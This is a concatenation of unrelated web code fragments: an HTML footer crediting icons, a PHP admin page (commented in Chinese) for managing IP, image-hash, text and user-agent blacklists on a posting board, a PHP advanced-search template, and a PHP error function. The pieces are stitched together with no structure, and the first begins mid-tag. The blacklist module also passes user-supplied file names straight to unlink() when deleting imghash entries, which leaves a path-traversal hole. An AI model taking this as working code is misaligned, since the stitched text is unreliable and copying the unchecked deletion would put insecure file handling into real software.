href="../icons/professional5.png">Resume icon</a> made by <a href="http://www.freepik.com" title="Freepik">Freepik</a> from <a href="http://www.flaticon.com" title="Flaticon">www.flaticon.com</a> is licensed under <a href="http://creativecommons.org/licenses/by/3.0/" title="Creative Commons BY 3.0">CC BY 3.0</a></li> <li><a href="../icons/info28.png">Information icon</a> made by <a href="http://www.freepik.com" title="Freepik">Freepik</a> from <a href="http://www.flaticon.com" title="Flaticon">www.flaticon.com</a> is licensed by <a href="http://creativecommons.org/licenses/by/3.0/" title="Creative Commons BY 3.0">CC BY 3.0</a></li> </ul> </div> </div> </div> <!-- FOOTER --> <?php include "../footer.php"; echo foot(1); ?> </div> <!-- End Document –––––––––––––––––––––––––––––––––––––––––––––––––– --> </body> </html>
function ModulePage() { global $PMS; if (!adminAuthenticate('check')) { die('[Error] Access Denied.'); } // 進行新增、刪除等動作 if (isset($_POST['operate'])) { $op = $_POST['operate']; // 新增資料 $ndata = isset($_POST['newdata']) ? get_magic_quotes_gpc() ? stripslashes($_POST['newdata']) : $_POST['newdata'] : ''; // 資料內容 $nperiod = isset($_POST['newperiod']) ? intval($_POST['newperiod']) : 0; // 封鎖天數 $ndesc = isset($_POST['newdesc']) ? CleanStr($_POST['newdesc']) : ''; // 註解 if ($ndata && ($op == 'badstr' || $op == 'badua') && ($nperiod || isset($_POST['plaintext']))) { $ndata = preg_quote($ndata, '`'); } // plain text, not regex // 刪除資料 $del = isset($_POST['del']) ? $_POST['del'] : null; $newline = ''; $ismodified = $op != 'imghash' && ($ndata != '' || $del != null); // 是否需要修改檔案內容 if ($ismodified) { switch ($op) { case 'ip': $file = $this->ipfile; if ($ndata != '') { $newline = $ndata . "\t" . $ndesc . "\t" . time() . "\t" . $nperiod . "\n"; } break; case 'img': $file = $this->imgfile; if ($ndata != '') { $newline = $ndata . "\t" . $ndesc . "\n"; } break; case 'badstr': $file = $this->badstrfile; if ($ndata != '') { $newline = $ndata . "\t" . $ndesc . "\n"; } break; case 'badua': $file = $this->baduafile; if ($ndata != '') { $newline = $ndata . "\t" . $ndesc . "\n"; } break; } $this->_arrangeRecord($file, $del, $newline); // 同步進行刪除及更新 } if ($op == 'imghash') { foreach ($del as $file) { if (file_exists($this->imghash_imgdir . $file)) { unlink($this->imghash_imgdir . $file); } if (file_exists($this->imghash_hashdir . $file . '.imghash')) { unlink($this->imghash_hashdir . $file . '.imghash'); } } } if (isset($_POST['ajax'])) { // AJAX 要求在此即停止,一般要求則繼續印出頁面 $extend = $op == 'ip' ? '<td>' . date('Y/m/d H:m:s', time()) . " ({$nperiod})</td>" : ''; // IP黑名單資訊比圖檔多 echo '<tr><td>' . htmlspecialchars($ndata) . '</td><td>' . $ndesc . '</td>' . $extend . '<td><input type="checkbox" name="del[]" value="#NO#" /></td></tr>'; return; } } $dat = ''; $PMS->hookModuleMethod('Head', array(&$this, '_hookHeadCSS')); head($dat); $dat .= '<div class="bar_admin">封鎖黑名單管理</div> <div id="content"> <form action="' . $this->mypage . '" method="post"> <div id="ipconfig"><input type="hidden" name="operate" value="ip" /> IP 黑名單<br /> Pattern: <input type="text" name="newdata" size="30" /> Period: <input type="text" name="newperiod" size="5" value="0" />Day(s) Desc: <input type="text" name="newdesc" size="30" /> <input type="submit" value="新增" onclick="return add(this.form);" /><br /> <div class="dos_list_short"> <table border="0" width="100%"> <tr><td>Pattern</td><td>Description</td><td>Add Date (Period)</td><td>Delete</td></tr> '; foreach ($this->_parseBlackListFile($this->ipfile) as $i => $l) { $dat .= '<tr><td>' . htmlspecialchars($l[0]) . '</td><td>' . (isset($l[1]) ? $l[1] : '') . '</td>' . '<td>' . (isset($l[2]) ? date('Y/m/d H:m:s', $l[2]) : '-') . (isset($l[3]) ? ' (' . $l[3] . ')' : ' (0)') . '</td>' . '<td><input type="checkbox" name="del[]" value="' . $i . '" /></td></tr>' . "\n"; } $dat .= '</table> </div> <input type="submit" value="刪除" /> </div> </form> <form action="' . $this->mypage . '" method="post"> <div id="imgconfig"><input type="hidden" name="operate" value="img" /> 圖檔 MD5 黑名單<br /> MD5: <input type="text" name="newdata" size="30" /> Desc: <input type="text" name="newdesc" size="30" /> <input type="hidden" name="newperiod" value="0" /> <input type="submit" value="新增" onclick="return add(this.form);" /><br /> <div class="dos_list_short"> <table border="0" width="100%"> <tr><td>MD5</td><td>Description</td><td>Delete</td></tr> '; foreach ($this->_parseBlackListFile($this->imgfile) as $i => $l) { $dat .= '<tr><td>' . htmlspecialchars($l[0]) . '</td><td>' . (isset($l[1]) ? $l[1] : '') . '</td><td><input type="checkbox" name="del[]" value="' . $i . '" /></td></tr>' . "\n"; } $dat .= '</table> </div> <input type="submit" value="刪除" /> </div> </form>'; if ($this->use_imghash) { $dat .= '<form action="' . $this->mypage . '" method="post"> <div id="imgconfig"><input type="hidden" name="operate" value="imghash" /> 圖檔 imghash 黑名單<br /> <div class="dos_list_short"> <table border="0" width="100%"> <tr><td>File</td><td>Preview</td><td>Delete</td></tr> '; $pfolder = opendir($this->imghash_imgdir); //Folder $pnamebase = array(); while ($file = readdir($pfolder)) { if (is_file($this->imghash_imgdir . $file)) { $dat .= '<tr><td>' . $file . '</td><td><a href="' . $this->imghash_imgdir . $file . '" target="_blank">■</a></td><td><input type="checkbox" name="del[]" value="' . $file . '" /></td></tr>' . "\n"; } } closedir($pfolder); $dat .= '</table> </div> <input type="submit" value="刪除" /> </div> </form>'; } $dat .= '<form action="' . $this->mypage . '" method="post"> <div id="imgconfig"><input type="hidden" name="operate" value="badstr" /> 文字黑名單<br /> 文字列(可用正規表達式,不需用 / 斜線): <input type="text" name="newdata" size="30" /> Desc: <input type="text" name="newdesc" size="30" /> <input type="hidden" name="newperiod" value="0" /> <label><input type="checkbox" name="plaintext" value="1" onchange="this.form.newperiod.value=this.checked?1:0" />純文字</label> <input type="submit" value="新增" onclick="return add(this.form);" /><br /> <div class="dos_list_short"> <table border="0" width="100%"> <tr><td>文字列</td><td>Description</td><td>Delete</td></tr> '; foreach ($this->_parseBlackListFile($this->badstrfile) as $i => $l) { $dat .= '<tr><td>' . htmlspecialchars($l[0]) . '</td><td>' . (isset($l[1]) ? $l[1] : '') . '</td><td><input type="checkbox" name="del[]" value="' . $i . '" /></td></tr>' . "\n"; } $dat .= '</table> </div> <input type="submit" value="刪除" /> </div>'; $dat .= '<form action="' . $this->mypage . '" method="post"> <div id="uaconfig"><input type="hidden" name="operate" value="badua" /> User Agent黑名單<br /> 文字列(可用正規表達式,不需用 / 斜線): <input type="text" name="newdata" size="30" /> Desc: <input type="text" name="newdesc" size="30" /> <input type="hidden" name="newperiod" value="0" /> <label><input type="checkbox" name="plaintext" value="1" onchange="this.form.newperiod.value=this.checked?1:0" />純文字</label> <input type="submit" value="新增" onclick="return add(this.form);" /><br /> <div class="dos_list_short"> <table border="0" width="100%"> <tr><td>文字列</td><td>Description</td><td>Delete</td></tr> '; foreach ($this->_parseBlackListFile($this->baduafile) as $i => $l) { $dat .= '<tr><td>' . htmlspecialchars($l[0]) . '</td><td>' . (isset($l[1]) ? $l[1] : '') . '</td><td><input type="checkbox" name="del[]" value="' . $i . '" /></td></tr>' . "\n"; } $dat .= '</table> </div> <input type="submit" value="刪除" /> </div> </form> <hr /> <div id="help"><pre> 說明 Pattern: 可封鎖特定IP/Hostname發文。以使用者的IP位置或Host名稱進行判斷,所以兩種形式都可以使用。 例如 127.0.0.1 (IP) 和 localhost (Host) 代表的都是相同的電腦。 接受下列格式 - 完全相符 即是完全一模一樣的情況下才封鎖。 範例: 127.0.0.1 (127.0.0.1 O;127.0.0.2 X) localhost (localhost O;local X) - 萬用字元 可接受 * , ? 來代替一段未知的字元 (如同大家熟知的使用方式),這樣一來可匹配的情況將增加。 範例: 192.168.0.* (192.168.0.3 O;192.168.1.3 X) local* (localhost O;remotehost X) - 正規表達式 使用Regular Expression來進行匹配,可作出更多樣、更適合的條件。注意使用時需要使用 / 斜線將表達式括住。 範例: /127\\.0\\.0\\.[0-9]{2}/ (127.0.0.28 O;127.0.0.1 X) /^.+\\.proxy\\.com$/ (gate1.proxy.com O;proxy2.com.tw X) - CIDR Notation 使用 Classless Addressing 這種更有彈性的方式切割子網路,其表示法稱作 CIDR,以一段IP位置加上Mask來劃分子網路 (注意此表示法僅能使用 IP)。 範例: 192.168.0.1/20 (192.168.7.243 O;192.168.18.144 X) Period: 設定封鎖期限,在過期時可以自動刪除解鎖,以天為單位。如果想永久封鎖 (系統不自動回收,需手動解鎖) 則將此值設為 0 (0 表示無期限)。</pre> </div> </div>'; foot($dat); echo $dat; }
<?php $pageTitle = __('Advanced Search'); $params = Zend_Controller_Front::getInstance()->getRequest()->getParams(); if (!empty($params['collection'])) { $collection = get_record_by_id('collection', $params['collection']); } echo head(array('title' => $pageTitle, 'bodyclass' => 'items advanced-search', 'collection' => @$collection)); ?> <div class="clearfix"> <nav class="record-nav"> <?php echo include __DIR__ . '/../nav/items.php'; ?> </nav> <h1><?php echo $pageTitle; ?> </h1> </div> <?php echo $this->partial('items/search-form.php', array('formAttributes' => array('id' => 'advanced-search-form'))); ?> <?php echo foot(array('collection' => @$collection));
function error($str) { head("PHP news : error"); echo "<blockquote><strong>Error:</strong> {$str}</blockquote>\n"; foot(); die; }